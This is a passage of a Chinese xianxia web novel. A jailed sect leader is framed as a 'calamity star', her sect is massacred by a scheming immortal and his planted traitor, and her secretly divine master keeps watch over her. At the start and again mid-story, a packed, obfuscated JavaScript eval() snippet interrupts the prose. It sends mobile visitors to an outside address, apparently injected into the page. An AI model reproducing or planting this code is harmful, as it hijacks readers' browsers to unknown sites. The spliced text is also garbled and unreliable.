l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089212|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地摆手,“老夫要卸甲归田。那沙场上的魑魅魍魉,吓死人哟。” 姜盈初挑眉不语。 沙场之上,不说剑影刀光,反倒说起了魑魅魍魉,一听就不对劲。 果然,哪怕她不接话,闻项也自己给自己搭台阶地说了下去。 “宗主,你都不知道,我这一仗打得有多骇人!”闻项说,“精兵两千,一夜妖风吹过,竟自相残杀了起来!” 姜盈初仔细地盯着闻项打量,满腹狐疑。 这番说辞,这番惨状—— 不就是那些长老给自己哭诉的话吗?闻项也经历了这种事? “这还不是最稀奇的。”闻项又道,“稀奇的是,军中突然瘟疫横行,粮草也被那阵妖风烧绝了,又死了一波人呐。” 姜盈初捏着冰糖核桃的手一滞,悬在空中。 闻项还在喋喋不休地向她描述军中饿死人的惨状。 她的脑海里却满是当年她爹挑了粮食窜逃的画面。 村中瘟疫横行,粮草枯绝。 她爹是个私塾先生,平日里仁义礼孝挂在嘴边。 不料祸事当头,却挑了粮食,丢妻弃子,自己忙着苟活去了。 “皮包骨头”“人吃人”“臭气冲天”…… 闻项致力于给姜盈初把当时场景活灵活现地描述出来。 姜盈初觉得自己恍恍惚惚,周身很冷。 忽然,她的手边一热。 思绪从九天之外坠到人间,姜盈初偏头一瞧,是言遮低头,热气喷洒在她手上。 他旁若无人地从姜盈初手上叼走了那块儿核桃。 习以为常的姜盈初依然习以为常。 她转过身,还想朝闻项问问具体的情况。 不料闻项却匆匆起身去敬酒了,她只得作罢。 宴间觥筹交错,乐声悠扬。 景帝只敢在传话时才能说出“押回京都”如此硬气的话。 如今姜盈初就在阶下,他反倒不敢提这茬事了。 毕竟仙人就在眼前,谁都惜命。 仙门被屠,魔头出世,灾星藏匿。 大家心照不宣地没有提起这些事情。 只有姜盈初脑海中当年瘟疫的景象挥之不去,殿内的空气反倒让她头昏脑涨起来。 于是她起身,去外面透气。 姜盈初的身影消失在殿外时,闻项晃晃悠悠,故作不经意地搭上了言遮的肩。 被言遮用一记冷眼扫了下去。 他压低声音问:“瘟疫是怎么回事?为什么要告诉她?” 闻项学着言遮的模样,也压低了声音:“就是她要化魔的预兆之一啊。” “是吗?”言遮似笑非笑,轻飘飘地问。 闻项紧张得攥紧了手中的衣角,在桌底下,谁也看不到。 表面上,他故作镇定,朝言遮笑:“帝君放心就是,我等定会竭力辅佐帝君,除掉魔头。” “管好你自己。”言遮冷声道,“本君的事无需你插手。” 说完,他起身。 临走时还慢悠悠地捡了两颗姜盈初爱吃的叮叮糖。 闻项看着言遮离去的身影,嘴角勾起一抹耐人寻味的笑。 没过多久,他也起身作揖,借酒醉离席。 留荷亭一角的隐秘花丛中,闻项捏着一面花纹简单的镜子。 他左右张望,确认四下无人。 镜中浮现出一张人脸,操着一口不伦不类的官话——是李良辰! 闻项笑问:“沐阳山那边你筹备的如何?” “上仙放心,我已将引雷符置于各处,只等上仙出手。”李良辰恭恭敬敬地回答。 闻项压低了声音笑。 他满意地收了镜子,看向不远处一个满头珠翠的身影,目光寒凉。 一旁路过的小太监撞见闻项,恭敬行礼:“奴才给将军请安。” 闻项摆手,拂袖离去。 他嘴角压不下来,心里乐道:什么将军,吾乃九重天十三仙君之一,望涯君。 十三仙君,便是这四海八荒十三位飞升到上仙的仙君。 十三仙君法力出群,威名赫赫。 六合之内,只有天道与帝君居其上。 帝君领了差事下凡,有仙君也下凡辅佐。 只不过——这仙君里头,并非人人都想灭掉姜盈初这个魔头。 譬如闻项,狼子野心,很想得到魔尊的神力。 * 姜盈初在留荷亭里吹风。 冷风让她的神志稍稍清醒,不至于沉湎在记忆的场景中。 “吃吗?”言遮寻到她,一颗叮叮糖递到她嘴边。 姜盈初摇摇头。 于是言遮便毫不客气地给自己塞进了嘴里。 他轻咬糖,又故意吹出一阵气。 浓郁的香气就弥漫在了空中,久久化不开。 馋得姜盈初咽了下口水。 言遮瞥见她的小动作,笑得耸肩。 他又把另一颗糖喂到她嘴边:“现在呢,吃吗?” 姜盈初瞪了眼自己为老不尊故意逗人的师父,把糖一掌薅走。 言遮挨着她坐下。 一时间,谁都没有说话,只有糖的香气随风摇曳,荡漾。 “刚刚怎么了?”终于,在一阵冷风吹过后,言遮开口问。 姜盈初默不作声。 她不习惯把自己的过去袒露给别人。 言遮微不可察地皱了皱眉,也什么都没说。 “那走吧。”他伸手向她,“怪冷的。” 姜盈初没有动作。 言遮盯她一小会儿,忽然故意掩面欠身,惊天动地地咳起来。 6. 晋江文学城 06[灭门] 姜盈初见言遮要咳出心脏的架势,不得不起身扶他。 然后由着他把自己往殿里带。 宫墙深红,天色灰白。 偶尔头顶上还有一两只高歌的乌鸦飞过。 “阴森森的。”姜盈初随口道。 言遮假装虚弱地抬头,小声“嗯”了一声表示附和。 只是扫向那两只乌鸦的眼神冷得像冰。 两只乌鸦很聪明,察觉到了言遮想杀鸟的目光。 对视一瞬,乌鸦内心对姜盈初直呼:丫头!你身边这人可比我们阴森多了! 阴森森的事情不止这一件。 一个满头珠翠的人拦住了姜盈初。 她身边带了两个侍女,扮相也华贵,一眼便叫人认出这是位娘娘。 姜盈初拽着言遮欠身行了礼——她是仙门宗主,见到天家的人用不着行卑躬屈膝的大礼。 言遮死乞白赖地把自己也摆在了不用行大礼的位置上。 姜盈初不由得为自己师父捏一口气。 若撞见了个暴脾气,还得她多费口舌来保他。 好在眼前的娘娘并不计较这些细枝末节。 她自报家门,亮出了丽妃的身份。 姜盈初了然点头。 她和京都的家长里短交集不多,却也听过丽妃的名号。 东洲西部毗邻大漠,大漠与东洲之间,有个夹缝求生的小国,名曰“无沙”。 无沙国和东洲曾兵戎相见过,战乱以无沙国的低头而告终。 再后来,东洲国势蒸蒸日上,边疆的雪都下得很乖巧。 无沙国低眉顺眼多年,还封了个侯爷的嫡女为公主,送来和亲。 投诚献媚的事情,景帝欣然应允。 和亲的公主被册封为妃,封号为“丽”。 丽妃性格温婉,不受宠,不树敌。虽处在深宫,日子却过得清闲。 她唯一的喜好便是宝钿金钗这些玩意儿,鲜少主动与人搭话。 但今天,丽妃随意散步,蓦然一簇光被晃了眼。 只有一瞬间。 她眯眼看去,没找到这簇光从何而来,却注意到了姜盈初头上的簪子。 色泽通透,质地极佳,是灵山白玉。 灵山白玉——丽妃想起了一些旧事:她祖父以前给过她一副灵山白玉的手镯。 彼时祖父还是征战沙场的大将军,大王赏赐的灵山白玉,在多少人眼中都是风光无限的象征。 不过后来两国交好,祖父这种杀敌无数的功名就成了罪孽。 如此昂贵的赏赐,也再难一睹。 丽妃心中感慨万千,对姜盈初比划了一下,笑问:“你的这支簪子真好看,可是灵山白玉的?” 姜盈初愣愣地摸了摸自己头上,发现丽妃夸得是言遮送自己的那支白玉簪。 若是问起剑的材质,姜盈初定能脱口而出,滔滔不绝。 但脂粉首饰这些东西——问她,就好比问白痴。 “灵山白玉连城之价,我哪能给得起?”言遮欠身,风度翩翩地解释。 丽妃疑惑地看向他,不明白一个侍卫怎会嚣张到随意插话。 “我师父。”姜盈初介绍说,她指了指自己的簪子,“他送我的。” 丽妃点头,仔细地看了眼姜盈初的簪子,依旧疑惑。 她问:“若非灵山白玉,怎会这般通透?” 言遮眉宇间迅疾地划过一缕不耐烦。 这玉的确是灵山白玉,可他绝不能让姜盈初知道。 他是日日与床作伴的病秧子,哪有机会能接触到灵山白玉呢? “咳咳。”言遮恰到好处地露出柔弱,温声道:“把普通白玉打磨出这种光泽,并非不能,只是略微费些时日。” “哦?”丽妃紧追不舍地问,她还是更相信自己的眼睛。 言遮故意扭头不看姜盈初,装出一副心事被揭穿的难堪样。 他扭捏地鬼扯道:“取山顶落雪两盏,小火慢煮,共煮七七四十九遍。将白玉浸于其中,泡六十四个时辰,又用……” 风萧萧,人无言。 姜盈初很懵。 这簪子居然不是言遮从哪个犄角旮旯捡到的? 她本来还在感叹自己师父走狗屎运,随手一捡,就捡了个值钱玩意儿。 “那你的病?”姜盈初默然良久,扒着言遮的胳膊问。 言遮泡进装害羞的汪洋里浮不出来,迟迟不转头,胡乱摆手道:“无妨,不是为了给你盛雪才病重的。” 姜盈初:…… 她好气又好笑:“要是真觉得无妨,你就别把后面的话说出来。” 言遮不说话。 其实他没有骗人。 他这场病不是装出来的,而是在藏书阁的房顶上吹了冷风,着了凉。 师徒情深,丽妃见状,只能半信半疑地离开。 姜盈初对言遮送的簪子并不领情——这纯属吃饱了没事儿干,还要朝她索要莫须有的感谢。 是她喜欢簪子吗?是她喜欢玉吗? 既然都不是,那她就没必要心疼他的自作多情。 于是言遮越是装可怜,姜盈初就越是漠不关心。 帝君万年不被尘世杂物困扰,今日罕见地产生了疑问。 这怎么和他预想的感激心疼之情不一样呢? 除了师徒俩的小插曲之外,这场鸿门宴从始至终一直风平浪静。 姜盈初都要怀疑那天上山的徐公公是被人夺了舍。 帝王坐高台,台下歌舞升平,丝竹阵阵,人人笑意盈盈。 怎么丝毫不见一点不对劲呢? 若柒柒虽然不打算长住宫内,可回宫看见自己母妃,难免叙旧。 回云清台的马车上便只有言遮和姜盈初。 哪怕马车行至云清台,空气中也没有一丝山雨欲来的味道。 毕竟雨最擅润物无声。 次日清早,姜盈初拉开房门,和门外一群披坚执锐的精兵大眼瞪小眼。 为首的那个大声道:“皇上有令,灾星祸乱仙门,又将邪气带至后宫,绝不能放任其继续屠害人间!” 姜盈初要拔剑。 “丽妃娘娘昨日只同你一人说了话,夜里便双目流血而亡!有侍女为证,你逃不掉!” 姜盈初握剑的手都要被震惊得凝固。 * 姜盈初被押入了天牢。 所谓天牢,和寻常牢狱不同,专为仙人和妖魔所修。 天牢上有钦天监掌管,下有京都修士组成的金汤阁维护运作。 一行押司把姜盈初送进了最里头的,那间伸手不见五指的牢房。 转头,这些押司自己先吓出了一身汗。 传闻说这仙门宗主杀人于谈笑间,一众人都担心自己小命不保。 可若是不办这份差事,就是抗命不遵,脑袋也马上要离身体而去。 左右都为难。 等走上九曲回肠的台阶,远离那些贴着各种符纸的牢房门后,几个大胆的押司才敢出声。 一个讷讷地问:“她就这么逆来顺受?就这么让我们给关进去了?” 另一个立马用眼神呵斥他,“嘘!我听说他们这些人都有顺风耳的。” 胆子最大的那个不屑地抻展衣袖,大声说:“听见了又能怎样?难不成她能冲破牢房?这种走哪儿哪就有祸事的灾星就该早早被关进去。和她那个小情郎等死吧。” 胆子最大的押司人称王十三,家里有兄长也是修士,所以不怕这些所谓的仙人。 刚刚押送姜盈初的时候,看见姜盈初头上那根质地很好的簪子,起了歹念,想顺手牵羊。 不料那个非要跟来一块儿送死的病秧子咳了一声。 王十三皱眉回头,撞见一双冷得毫无人性的眼眸。 对方在这一瞬间流露出的那种漠然的狠戾太压迫人,王十三伸出去的手僵硬地缩了回来。 便宜被占到,还丢了脸。 所以这会儿背过言遮,王十三恶语连珠,好像这样就能扬眉吐气。 “他们仙人又咋了?我二哥就是修仙的人,都是花拳绣腿的小招数,真把自己当成无所不能的神仙了?”他恶狠狠地说。 既有对姜盈初的不满,还有对他二哥的不满。 二哥不学无术,被送去修仙,回来靠一些雕虫小技,就使得全家刮目相看。 还捞到了宫里侍卫的职役。 而他在京都努力数载,好不容易成了天牢的押司,爹娘却还整天对他念叨“你看看你二哥。” 扯淡嘛。 * 扯淡的二哥正在玉兴宫。 办着刚刚被二殿下拦住交代的差事。 “二殿下说,让殿下您……”王老二声音越来越小,到最后,索性给四皇子跪了下来。 四皇子名唤常平,便是如今最有继承大统之望的那位。 这位四皇子起先并不见什么天赋,后来有一日,不知受了什么刺激,突然发愤图强。 闲日里下人寻他,他要么在书房埋头苦读,要么就在武场认真习武。 譬如此刻,四皇子就在书房里。 他放下手中书卷,眉眼温和,轻声道:“你但说无妨,你传的是皇姊的话,不论这话有多么得罪人,我都不该迁怒于你。” 王老二长舒一口气,心中暗道:四皇子果然如传言一般平易近人。 他抹了把头上的汗,小声道:“二殿下让您睁大眼睛,别把仇报到旁人头上,您要是容不下她,大可直接提着剑去找她。” 传完话,王老二如临大敌,很小心地覷了眼四皇子。 却见四皇子脸上并无一丝不悦,反而显得十分——疑惑不解? 常平摆了摆手,王老二忙不迭夹着尾巴走了。 “皇姊在说什么?”压根听不懂这话的常平问。 伺候他的小太监绞尽脑汁,在最后关头灵光乍现道:“听闻二殿下和被打入天牢的那位宗主交情甚好,该不会在说这事?” 常平点头,又拿起手边的书。 这次却怎么都看不进去了。 他纳闷地想:她为何要怀疑自己呢? * “定是因为我请封皇太女一事!”天牢里,若柒柒扒着铁门栏杆,义愤填膺地分析:“他不好直接对我下手,就先寻由头来除掉你。” 姜盈初盘腿而坐,一脸凝重。 在听到丽妃死讯的那一刻,原本她要高高扬起的剑又收了回去,决定先按兵不动,静观其变。 她问:“丽妃真的死了吗?” 若柒柒点头:“我去看了,的确是双目流血的惨状,太医院上下也都说她因此而亡。” 姜盈初叹了口气。 无形中,她觉得自己正在被卷进一场翻天覆地的风波。 天降妖火,门派被屠,士卒丧命。 她沉默了片刻,问:“她在宫中可有树敌?” “深宫之中,或多或少有些过不去的梁子。”若柒柒竖起一根手指晃了晃,“但唯独丽妃是一股清流,从未与人结仇。” 姜盈初眉心蹙得更深。 突然,一双手从后环出来,轻柔地按着她的鬓角。 言遮跪在姜盈初身后,神情专注,长发披散下来,有一缕扫着她的面颊。 雨后草木的清香萦绕在姜盈初四周。 想到言遮刚起床还睡眼惺忪,就不由分说地要陪她进天牢,姜盈初心中好似被旺财的尾巴尖扫过。 若柒柒此刻也顾不上厌恶言遮。 比起言遮,她更厌恶那些风吹就倒的墙头草。 “不少门派上书请呈,都说要处死你这个……”若柒柒顿了一下,含糊道:“灾星。” 姜盈初不介意,问:“你父皇怎么说?” “这类事情是由钦天监定夺的,他们要你死。”若柒柒解释道,“父皇明显也信了这些胡话,钦天监说有魔头出生,他就要在四海之内寻个除魔之人。” “除魔……”姜盈初喃喃地重复。 这世上既有仙,那自然也是该有魔的。 只是她先前从未听闻。 若柒柒急得火烧眉毛:“什么妖魔鬼怪的你就先别关心了,我问你,你现在应该关心什么?” 姜盈初思索一瞬,挺直了腰。 她清嗓,无比认真地开口:“过两日是谷雨的生辰,我现在被押在天牢,得劳烦你替我去送生辰礼。” 谷雨便是小雨峰主。 她是当年村里灾祸中,为数不多的幸存者,和姜盈初相识甚早,陪姜盈初的时间也最长。 所以姜盈初落户在沐阳山后,便把除去主峰外的两座山改称大小雨峰。 若柒柒听见这个回答,气得眼冒金星,破口大骂:“两日后说不定你人头就落地了!你要关心的是你的脑袋能不能保住!” “有你护着我,那自然能保住。”姜盈初不要脸地说,没察觉言遮突然一滞的动作。 她摊开的手掌上浮现出一把通体玉色的利剑。 姜盈初又解下浮生剑的剑穗,绑在这把剑上,将其装进墨色的雕花剑鞘。 “那丫头不喜欢她的绳子,嚷着要和我用一样的剑。”姜盈初把剑递给若柒柒,“你帮我送一趟。” 若柒柒瞪着剑,瞬间觉得自己那两把锁心锤不香了。 “你未曾给我送过剑。”言遮在后面幽幽地说。 姜盈初猛地回头:“我倒是可以送,只是你会用吗?” “我特意送你剑,和你特意送我簪子有什么区别?” 言遮:…… 再次后悔自己走废物师父的路线。 * 姜盈初在狱里的生活并不凄苦。 虽然面临着几日之后的杀头之灾,但言遮看来,自己这个小徒弟明显不把这天牢当回事。 如若她想跑,各种乱七八糟的符纸根本奈何不了她。 这里是天牢的最底下一层,关的人也只有他们两位。 姜盈初清闲到能静心打坐。 直到第二日的夜里,窸窸窣窣的脚步声夹杂着叫骂声传来。 是押司来了。 押着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089213|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来不过十三岁的小孩儿,骂骂咧咧地把他关进了姜盈初隔壁的牢房。 “他犯了什么事呀?”姜盈初没睡,睁眼出声。 押司被吓了一跳,怪笑道:“和你一样咯!” 他砸吧着嘴走了,留下倚在墙上的姜盈初满脸茫然。 她有点发怵:该不会这又是和自己有关的一桩祸事吧? 此处牢房之间有墙相隔,墙上也没有任何破洞。 好在不过一墙之隔,门又透风,说话能听见。 姜盈初尝试着问:“小孩儿,你为什么被关进来?” 那头没吭声。 “今年几岁了呀?” 隔壁的小孩儿依旧不说话。 姜盈初想了想,又问:“那你饿不饿?” “嗯。”隔壁传来很别扭的一声回答,听起来像拉不下面子,但又实在没办法。 她捏着一块儿烧饼,软声问:“那你用你的名字和我交换一块儿饼?” 隔壁沉默了很久。 当姜盈初以为交易没戏,要把烧饼白送出去的时候—— “三水。”隔壁的小孩闷闷地说。 烧饼是被一阵空气托送过来的。 摇曳幽暗的光里,三水衣衫褴褛地缩在墙角。 他波澜不惊地接住烧饼,埋头就往嘴里塞。 隔壁,姜盈初对这个叫“三水”小孩儿更好奇了。 穿得破破烂烂,像乞丐。 却被押进了天牢这种地方。 见到自己隔空送个烧饼过来,也没发出一丝讶异地惊叹。 “我也饿了。”角落里,言遮忽然出声。 姜盈初一愣,满脸局促地转身。 她只有隔空取物的本事,并不能凭空再变一个吃的出来。 这牢里唯一的食物就是刚刚送出去的那块儿烧饼。 “哈,师父,我告诉你一个从未与人讲过的秘密。”姜盈初凑过去,贴着言遮坐下。 言遮身形一滞,仔细盯着姜盈初的侧颜。 门外的油灯忽明忽暗,让他难以看清小徒弟的神情。 但他垂下的手指动了动,心像灯芯一样闪着。 他徒弟终于迈出依赖他的第一步了? “要想在梦里吃到山珍海味,其实也不难。”姜盈初两眼一闭,信口开河:“你闭眼,在心中默念七七四十九遍你想吃的……” 言遮被她气得勾唇笑,上手轻捏她的脸:“这话为师听着怎么那么耳熟?” 姜盈初铁了心装死,一声不吭,也不睁眼。 装着装着,呼吸就变得清浅匀长——睡着了。 言遮解下自己的外袍,盖在她身上。 而后斜倚着身子,冷冷盯着和隔壁牢房相连的那堵墙。 巧的是,隔壁牢房里,三水啃完烧饼,也在盯着这堵墙发呆。 在三水看来,面前这堵墙上黑雾缭绕,明显是里面的人将要大难临头之兆。 他不是寻常的小孩儿,所以看到被空气送来的烧饼时并不惊讶。 * 若柒柒从姜盈初手中接了剑,隔天便御剑赶去了沐阳山。 她急着匆匆送完生辰礼,赶回来保姜盈初的小命,便一口气飞至山门。 山门之内,有姜盈初布下的结界,她只能走进去。 不过若柒柒却在山门站了好一会儿。 她双腿沉重,迈不开步子,用来飞的木剑横七竖八地躺在一边。 而在木剑的不远处,躺着一具双目圆瞪的尸体。 不止这一具。 山门前的青石板上,洋洋洒洒,躺了成十人。 是昨夜守山门的仙童。 广场,锦鲤池,比试台,圣然殿…… 若柒柒浑浑噩噩地走过了沐阳山的许多地方。 满地都是合不上眼,面色惊恐的尸体。 这种景象若柒柒见过,不久之前,她的青龙派就在某个早晨就是如此惨状。 在小雨峰的药斋门口,若柒柒找到了她要找的人。 谷雨躺在两具尸体间,手中还攥着法绳,死相和任何一具尸体无异。 “谷,谷雨也……”她身后突然有道声音冒出来。 若柒柒转头,看见了每一步都走得很僵硬的李良辰。 瞬间,锁心锤就挥到了李良辰胸口。 李良辰面色发白,瘫坐在地。 “怎么回事?”若柒柒冷声问。 李良辰嗫嚅良久,终于“哇”地一声嚎出来,赫然是被吓破了胆。 “我,我不知道啊!我昨日下山,去,去给谷雨买生辰礼,刚才,刚回来,就看见……” 沐阳山全山上下,除了因下山而侥幸逃过一劫的李良辰,其余人都丧命于昨夜。 从若柒柒嘴里听到这个噩耗的时候,姜盈初攥紧拳头,骨节发白,努力地让自己站稳。 李良辰跟在若柒柒身后,担忧地看着自己宗主。 瞥见言遮在里头扶着宗主的手,他很轻地皱了一下眉。 “钦天监说此事最能证明你是灾星降世,明日午时行断头之刑。”若柒柒声音颤抖,“父皇不肯干涉,明日还有金汤阁的修士在场……” “你要跑的话,现在最合适!”若柒柒猛然抬头,玉锤要往牢房门上挥。 姜盈初轻声喊停她:“我不跑。” “你不跑你就是在等死!”若柒柒急得要哭。 姜盈初倚着言遮,摇头说:“我有我的打算。” * 将军府,李良辰被下人领到书房。 闻项在书房里摆弄着一把古琴,见来人是李良辰,立马起身相迎。 他递给对方一个探究的眼神。 “引雷符生效,事已办妥,上仙放心。”李良辰拱手作揖,说。 闻项立马咧开嘴笑了。 李良辰犹豫了一下,小心翼翼地问:“上仙答应我的事,还作数吗?” 闻项点头如捣蒜:“作数!自然作数!我要的只是毁了她的门派,她人怎么样,归你,归你!” 李良辰只觉心里的石头落了地。 “唉,那个男的呢,你要不?”闻项问。 “任凭上仙处置。”李良辰说完,恭恭敬敬地退了出去。 他前脚刚走出书房,身后,闻项脸上的笑意就荡然无存。 提笔,蘸墨,铺纸。 闻项慢悠悠地写了封信,信上所言,都是在控诉李良辰这个内鬼。 写给姜盈初的。 闻项看着“李良辰”这三个字,不屑地嗤笑一声。 李良辰本是安插在姜盈初身边的棋子。 谁知棋子动了心,来跟主人讨价还价,要保住姜盈初的性命。 闻项只好说,自己只想搞垮她的门派,并不在意她的命。 事实上,他的目的并非搞垮门派,也不是要索姜盈初的命。 让这个丫头感受到被人背叛的滋味——从而尽快化魔。 这才是闻项的目的。 而李良辰,就是那枚用来走“背叛”这一步的棋子。 7. 晋江文学城 07[奇石] 许是用“灾星”的理由处死一个人实在草率。 又或是若柒柒四处奔走产生了一丝效果。她父皇景帝勉强算个明君,却没有帝王的斤斤计较。 哪怕若柒柒曾经有过请封皇太女的举动,他也并不放在心上。 宝贝女儿流落在外,终于回宫,景帝笑得嘴都合不拢。 再或许是闻项起了戏弄李良辰的心思,故意教他抓心挠肺后悔几日。 姜盈初的死刑被推后了几天——但也仅仅只是推迟,人头落地依旧迫在眉睫,形势严峻。 天牢外面人声嘈杂,金汤阁的修士这几日马不停蹄地练功夫,临时抱佛脚,为死刑那一日做准备。 钦天监也闲不住,观天象,看风水,算日子:什么时候行刑最稳妥呢? 人心察觉到自己的渴望超出自己的能力时,就会爱上神佛,爱上自然,爱上幻想。 天牢外紧锣密鼓,守宫门的侍卫闲聊时都离不开“仙门宗主的死期”这个话题。 而处在天牢里的姜盈初却毫无反应,整日整夜都一脸木然。 言遮看她黯然伤神的样子,心里没由来地生出几分气。 跌跌撞撞,摸爬滚打,带着一行朋友落户沐阳山,被仙门恭为宗主。 眼看着朝阳灿烂冉冉升起照亮未来的通天大道,朝阳却又在一夜间坠进了深谷,路也被雪堵塞。 言遮能理解小徒弟的伤心。 但这并不妨碍他暗搓搓地生闷气。 烛火幽微,惨淡的青光和两个人都被困在牢里。 言遮伸手把姜盈初的一缕碎发别至耳后,轻声问:“难受么?” 回答他的是沉默。 “这儿没有别人。”言遮席地而坐,嗓音轻低,“你要是想哭,我假装看不见,好不好?” 常言道,哭出来就好了。 帝君早忘了自己上一次经受这种大挫折是什么感觉,只能借着常言安慰小徒弟。 姜盈初没说话,微微抬头看了下师父,递给师父一个安慰的眼神。 她想告诉言遮:我没事儿。 可浑身的颓丧显然出卖了主人。 于是这个莫名其妙的眼神,经过言遮的脑补,就变了味儿。 在他看来,姜盈初分明在说:什么没有别人?你不就是别人吗? 心里那股不被依赖的烦闷愈发深重,言遮小孩儿置气一样起身,扑扇着衣袖表达自己的不满。 不哭,也不肯把难受讲出来,那憋死你算了。 言遮心里腹诽道,我要是再关心你一下,那我真是连旺财都不如。 片刻后,押司送来了晚膳。 姜盈初缩在角落里,一动不动。 狗都不如的帝君又端了一碗粥,黑着脸,一勺一勺地去给小徒弟喂。 押司送来的烧饼映入姜盈初的眼帘,她心里一动,终于开口道:“你把这个给隔壁的三……三火?” 姜盈初脑子乱成一团,想不起那小孩儿的名字。 总之把烧饼给他就是,反正她也没胃口,刚好小孩儿长身体。 隔壁狼吞虎咽喝粥的呼噜声一停。 姜盈初能想到这个三什么的小孩儿忽然竖起耳朵,眼睛亮亮的场面。 言遮侧在身旁的手攥成拳,青筋泛起。 姜盈初在察觉师父情绪这一点上实在麻木,见言遮不肯动,只当他是不愿被人使唤。 “那你让让。”姜盈初起身,拨开一只挡道狗一样拨开了言遮,自己把烧饼递到隔壁。 一只胖手立马接了烧饼,瓮声瓮气道:“谢谢。我叫三水。” 三水在提醒她刚刚喊错了自己的名字。 “嗯。”脑子转不过来的姜盈初下意识地也介绍自己,“我叫姜盈初。” 言遮懒懒阖眼,听到两人你来我往的友好介绍,额角微抽。 他又在心里发誓:让这些三水三火三木头关心你去罢,本君不会再给你一点好脸色。 正这么想着,忽然一个东西被递到他嘴边。 “你别忘了吃,吃完记得把药丸子也吃了。”姜盈初说。 言遮眼睛一弯,像旺财叼骨头一样从姜盈初手里叼走烧饼。 从前天界有人说他喜怒无常,阴晴不定,他从来不觉得。 此刻言遮乍然想起了这句话,细细一品,觉得这个结论未必没有道理。 天界的人要是知道言遮此刻的心理活动,定要两眼一黑晕死过去。 我们说的是那个不喜形于色的帝君,是那个杀伐果断的帝君,是那个一身正气的帝君。 可不是现在这个被他人拿捏的傻子哇! * 行刑前两日,姜盈初仍然活得面无表情,沐阳山灭门的震惊难消,余韵阵阵。 她闭上眼,就能看看见谷雨灿烂的笑颜。 谷雨喜欢笑,但这丫头的笑往往藏着锐利的刀子,喜欢在温柔乡里宰人。 教导弟子,她笑,笑着笑着就把人训了。 替宗主办事,她也笑,笑着笑着就把人杀了。 只有在面对宗主的时候,谷雨的笑才纯粹得没有任何东西。 这种唯一特殊的笑带给姜盈初的记忆实在深刻,以至于她都不敢阖眼。 而深夜,她强忍睡意盯着烛火的时候,隔壁突然传来细微的声音。 “你为什么被抓到这里?”三水弱弱地问。 每次都送过来的烧饼轻而易举攻破了三水的戒备,让他忍不住好奇,开口询问。 他记得那天押司说他们被关到这里的原因一样。 一个一声不吭的冷傲小孩儿突然开了口,这让姜盈初有点儿受宠若惊。 她默然一瞬,无奈地勾唇,带着几分自嘲道:“我是灾星啊。” “哦。”和姜盈初预想的不同,三水没有疑惑,反而闷闷地应了一声。 这又勾起了姜盈初的好奇。 她问:“你呢?” “我和你一样。”三水蹲在地上,双手抱着腿蜷缩成团,说:“我说宫里有娘娘要死,他们不信。那位娘娘真的死了,他们就把我抓了起来。” 姜盈初茫然了一瞬,很是不可思议。 宫里有娘娘要死——这不就是丽妃的事吗? 怪不得那押司要说他俩被关在这里的原因一样。 只是—— “你怎么知道?”姜盈初问。 “我就是知道。”三水坚定地说。 他以为姜盈初不信自己,想了想,又说,“其实你的门派被灭的前一天,我也知道,你身上要有灾祸发生。” 这两天姜盈初他们和若柒柒说话并没有提防三水。 所以三水也听到了那些发生在姜盈初身上的事,也知道了隔壁这个人就是大名鼎鼎的仙门宗主。 也正因如此,又加上烧饼送来的善意,三水才肯对姜盈初开口。 他想:既然这个人是仙门宗主,那她会术法,就不会对自己的特殊能力冷嘲热讽了。 角落里,言遮咳了两声。 他并没有睡着,听见姜盈初和隔壁小屁孩的谈话,故意咳嗽两声,想暗示小徒弟:别忘了让师父也加入这么重要的谈话。 可惜姜盈初的思路和他实在南辕北辙。 姜盈初见他闭着眼咳嗽,以为自己和三水的谈话吵到了他。 “嘘——”她对三水说,“明天我们再说。” 言遮:…… 哦,这是他俩的秘密,生怕被自己听到呢。 不依赖自己,不亲近自己,还提防自己。 言遮气得翻了个身,恶声恶气地哼了一声。 惹得姜盈初侧目,心底“豁”了一声:瞧,被吵到的不爽还挺大,在睡梦里都要哼哼唧唧地表达不满。 * 行刑前一日,姜盈初被单独带了出去,带去审讯堂。 刚好旺财的灵相在这个时候飞过来找言遮。 作为一只灵兽,旺财能够随意地灵相出窍——除了时间限制之外。它现在修为算高,灵相每隔十天左右就能自由活动一次。 “小姜姜呢?”旺财东张西望,用心声问。 “被抓走了。”言遮摸出自己的长歌匕,又仔细地擦了起来。 旺财“哦”了一声,从匕首的寒光上照见了自己这两天吃胖一圈的猫脸。 它懒洋洋地趴了下来,絮絮叨叨:“这次是真要动手了吧?现在动手时机最好。其实你前两日,一被关进来,就应该动手。完事儿我俩立马回九重天,我也不至于又添几两肉了。” 言遮万分嫌弃地扫了眼自己的胖麒麟,冷笑道:“离我远点。” “啊?” “别把油溅到我身上。”言遮垂眸,继续擦匕首。 旺财品了过来:这是再骂自己胖得流油! 麒麟的自尊心受到了严重的迫害! 它炸毛道:“喂,你有没有点心呐?还不是因为你迟迟不动手,我才胖了又胖的。好在你有动手的觉悟了。对了,动手的时候提前告诉我,我不忍心看这种场面的。我的小姜姜呐——” 言遮挑眉,问:“谁说我要动手了?” 旺财一愣:“那你擦它干嘛?” 言遮突然嗤笑一声,满目寒凉。 他神情专注地盯着匕首:“我才是解决她的那个人,其他白痴就别想了。” 旺财小小的脑袋转了很久,反应过来后要晕厥。 “是你傻了还是我傻了?”它大声吼着问,“这些凡人主动杀了她,不也是解决了灭世魔头这个祸患嘛?谁解决不是解决?你不动手就算了,怎么还不叫其他人动手呢?” 旺财心声吼得声音实在太大。 以至于让言遮一时没有听见,姜盈初回来的脚步声。 “师父,你在擦什么?”姜盈初问。 手中的匕首立马成了烫手山芋。 言遮身形微不可察地一抖,瞬间思绪万千。 第一个瞬间,他下意识想收了手中匕首,假装若无其事。 